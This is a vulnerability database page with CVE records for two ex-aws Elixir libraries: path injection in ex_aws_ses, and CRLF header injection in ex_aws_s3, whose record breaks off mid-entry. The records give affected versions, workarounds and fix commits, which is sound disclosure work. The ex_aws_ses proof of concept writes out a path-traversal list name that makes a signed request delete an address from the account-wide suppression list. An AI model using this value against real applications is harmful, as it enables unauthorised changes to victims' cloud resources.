Search
Find a vulnerability
Search criteria
32 vulnerabilities by ex-aws
CVE-2026-65622 (GCVE-0-2026-65622)
Vulnerability from nvd – Published: 2026-11-24 14:21 – Updated: 2026-11-24 14:21
VLAI
EPSS
VEX
Title
ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs
Summary
Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs.
This vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1.
The V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/<name> path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application's own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller's own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.
This issue affects ex_aws_ses: from 2.3.0 before 2.5.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_ses/security/adv… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-65622.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-65622 | related |
| https://github.com/ex-aws/ex_aws_ses/commit/ac7f9… | related |
| https://github.com/ex-aws/ex_aws_ses/commit/05c58… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_ses |
Affected:
2.3.0 , < 2.5.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_ses |
Affected:
ac7f97fa93c82e30868634735649027b2b968607 , < 05c580a8d17da33535d55a45e4cd2430e88e62cf
(git)
cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 14:21
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.SES\u0027"
],
"packageName": "ex_aws_ses",
"packageURL": "pkg:hex/ex_aws_ses",
"product": "ex_aws_ses",
"programFiles": [
"lib/ex_aws/ses.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_ses",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.5.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.SES\u0027"
],
"packageName": "ex-aws/ex_aws_ses",
"packageURL": "pkg:github/ex-aws/ex_aws_ses",
"product": "ex_aws_ses",
"programFiles": [
"lib/ex_aws/ses.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_ses",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "05c580a8d17da33535d55a45e4cd2430e88e62cf",
"status": "affected",
"version": "ac7f97fa93c82e30868634735649027b2b968607",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the \u003ccode\u003elist_name\u003c/code\u003e argument to one of the affected \u003ccode\u003eExAws.SES\u003c/code\u003e V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the `list_name` argument to one of the affected `ExAws.SES` V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
}
],
"value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the list_name argument to one of the affected ExAws.SES V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.5.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:21:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (\u003ccode\u003eExAws.SES\u003c/code\u003e module) allows path injection into Amazon SES V2 request URLs.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.SES.delete_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact_list/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.create_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.delete_contact/2\u003c/code\u003e and \u003ccode\u003eExAws.SES.list_contacts/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe V2 contact-list and contact functions interpolate the caller-supplied \u003ccode\u003elist_name\u003c/code\u003e into the request path without URI-encoding it, unlike the email address in the same functions which is passed through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e. An application that forwards untrusted input as a contact-list name lets an attacker embed \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e..\u003c/code\u003e or \u003ccode\u003e?\u003c/code\u003e to escape the intended \u003ccode\u003econtact-lists/\u0026lt;name\u0026gt;\u003c/code\u003e path segment. A value such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e makes a \u003ccode\u003edelete_contact_list/1\u003c/code\u003e call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (`ExAws.SES` module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file `lib/ex_aws/ses.ex` and program routines `ExAws.SES.delete_contact_list/1`, `ExAws.SES.get_contact_list/1`, `ExAws.SES.update_contact_list/2`, `ExAws.SES.create_contact/3`, `ExAws.SES.get_contact/2`, `ExAws.SES.update_contact/3`, `ExAws.SES.delete_contact/2` and `ExAws.SES.list_contacts/1`.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied `list_name` into the request path without URI-encoding it, unlike the email address in the same functions which is passed through `ExAws.Request.Url.uri_encode/1`. An application that forwards untrusted input as a contact-list name lets an attacker embed `/`, `..` or `?` to escape the intended `contact-lists/\u003cname\u003e` path segment. A value such as `x/../suppression/addresses/victim%40example.com` makes a `delete_contact_list/1` call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/\u003cname\u003e path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
}
],
"impacts": [
{
"capecId": "CAPEC-64",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
}
],
"value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:21:01.869Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_ses/security/advisories/GHSA-m65r-v8mq-xj8v"
},
{
"name": "EEF CNA record for CVE-2026-65622",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-65622.html"
},
{
"name": "OSV record EEF-CVE-2026-65622",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-65622"
},
{
"name": "Introducing commit ac7f97f in ex-aws/ex_aws_ses",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_ses/commit/ac7f97fa93c82e30868634735649027b2b968607"
},
{
"name": "Fix commit 05c580a in ex-aws/ex_aws_ses",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_ses/commit/05c580a8d17da33535d55a45e4cd2430e88e62cf"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRestrict \u003ccode\u003elist_name\u003c/code\u003e to Amazon SES\u0027s permitted contact-list character set, or run it through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, before passing it to the affected functions.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Restrict `list_name` to Amazon SES\u0027s permitted contact-list character set, or run it through `ExAws.Request.Url.uri_encode/1`, before passing it to the affected functions."
}
],
"value": "Restrict list_name to Amazon SES\u0027s permitted contact-list character set, or run it through ExAws.Request.Url.uri_encode/1, before passing it to the affected functions."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application takes a contact-list name from untrusted input and calls \u003ccode\u003eExAws.SES.delete_contact_list(list_name) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies \u003ccode\u003ex/../suppression/addresses/victim@example.com\u003c/code\u003e (with the \u003ccode\u003e@\u003c/code\u003e percent-encoded) as the list name.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_contact_list/1\u003c/code\u003e interpolates it unencoded, so the signed request is \u003ccode\u003eDELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eOnce the \u003ccode\u003e..\u003c/code\u003e is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application takes a contact-list name from untrusted input and calls `ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request()`.\n2. The attacker supplies `x/../suppression/addresses/victim@example.com` (with the `@` percent-encoded) as the list name.\n3. `delete_contact_list/1` interpolates it unencoded, so the signed request is `DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`.\n4. Once the `..` is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
}
],
"value": "* An application takes a contact-list name from untrusted input and calls ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request().\n* The attacker supplies x/../suppression/addresses/victim@example.com (with the @ percent-encoded) as the list name.\n* delete_contact_list/1 interpolates it unencoded, so the signed request is DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com.\n* Once the .. is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Raw interpolation.\u003c/strong\u003e Every V2 contact-list and contact function in \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e builds its resource string by interpolating \u003ccode\u003elist_name\u003c/code\u003e as given, for example \u003ccode\u003erequest_v2(:delete, \"contact-lists/#{list_name}\")\u003c/code\u003e in \u003ccode\u003edelete_contact_list/1\u003c/code\u003e. \u003ccode\u003erequest_v2/2\u003c/code\u003e then appends it to the operation path as \u003ccode\u003e@v2_path \u0026lt;\u0026gt; \"/#{resource}\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Inconsistent encoding.\u003c/strong\u003e The same functions pass the email address through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, but \u003ccode\u003elist_name\u003c/code\u003e is neither encoded nor validated. \u003ccode\u003euri_encode/1\u003c/code\u003e itself leaves \u003ccode\u003e/\u003c/code\u003e unencoded, so an email address containing \u003ccode\u003e/\u003c/code\u003e can add path segments as well.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Segment escape.\u003c/strong\u003e A list name such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e produces \u003ccode\u003e/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e, which normalizes to the account\u0027s suppression list. Appending \u003ccode\u003e/contacts/\u0026lt;addr\u0026gt;\u003c/code\u003e turns a list-level operation into a contact operation, and a \u003ccode\u003e?\u003c/code\u003e can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Raw interpolation.** Every V2 contact-list and contact function in `lib/ex_aws/ses.ex` builds its resource string by interpolating `list_name` as given, for example `request_v2(:delete, \"contact-lists/#{list_name}\")` in `delete_contact_list/1`. `request_v2/2` then appends it to the operation path as `@v2_path \u003c\u003e \"/#{resource}\"`.\n\n**2. Inconsistent encoding.** The same functions pass the email address through `ExAws.Request.Url.uri_encode/1`, but `list_name` is neither encoded nor validated. `uri_encode/1` itself leaves `/` unencoded, so an email address containing `/` can add path segments as well.\n\n**3. Segment escape.** A list name such as `x/../suppression/addresses/victim%40example.com` produces `/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`, which normalizes to the account\u0027s suppression list. Appending `/contacts/\u003caddr\u003e` turns a list-level operation into a contact operation, and a `?` can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
}
],
"value": "1. Raw interpolation. Every V2 contact-list and contact function in lib/ex_aws/ses.ex builds its resource string by interpolating list_name as given, for example request_v2(:delete, \"contact-lists/#{list_name}\") in delete_contact_list/1. request_v2/2 then appends it to the operation path as @v2_path \u003c\u003e \"/#{resource}\".\n\n2. Inconsistent encoding. The same functions pass the email address through ExAws.Request.Url.uri_encode/1, but list_name is neither encoded nor validated. uri_encode/1 itself leaves / unencoded, so an email address containing / can add path segments as well.\n\n3. Segment escape. A list name such as x/../suppression/addresses/victim%40example.com produces /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com, which normalizes to the account\u0027s suppression list. Appending /contacts/\u003caddr\u003e turns a list-level operation into a contact operation, and a ? can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-65622",
"datePublished": "2026-11-24T14:21:01.869Z",
"dateReserved": "2026-07-22T13:55:59.401Z",
"dateUpdated": "2026-11-24T14:21:01.869Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-65621 (GCVE-0-2026-65621)
Vulnerability from nvd – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests
Summary
ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {"x-amz-meta-#{k}", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes.
Object metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-65621.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-65621 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/fa9411… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "fa941106c2e3b10de8e710d1a03eeb673b88096c",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exploitable when an application both populates object \u003ccode\u003e:meta\u003c/code\u003e entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exploitable when an application both populates object `:meta` entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
}
],
"value": "The vulnerability is only exploitable when an application both populates object :meta entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:13:06.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eex_aws_s3 builds \u003ccode\u003ex-amz-meta-*\u003c/code\u003e request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e (\u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e), each \u003ccode\u003e:meta\u003c/code\u003e entry is turned into a header as \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003eObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any other operation accepting the \u003ccode\u003e:meta\u003c/code\u003e option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "ex_aws_s3 builds `x-amz-meta-*` request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In `ExAws.S3.Utils.build_meta_headers/1` (`lib/ex_aws/s3/utils.ex`), each `:meta` entry is turned into a header as `{\"x-amz-meta-#{k}\", v}` with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches `ExAws.S3.put_object/4` or any other operation accepting the `:meta` option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {\"x-amz-meta-#{k}\", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-105",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
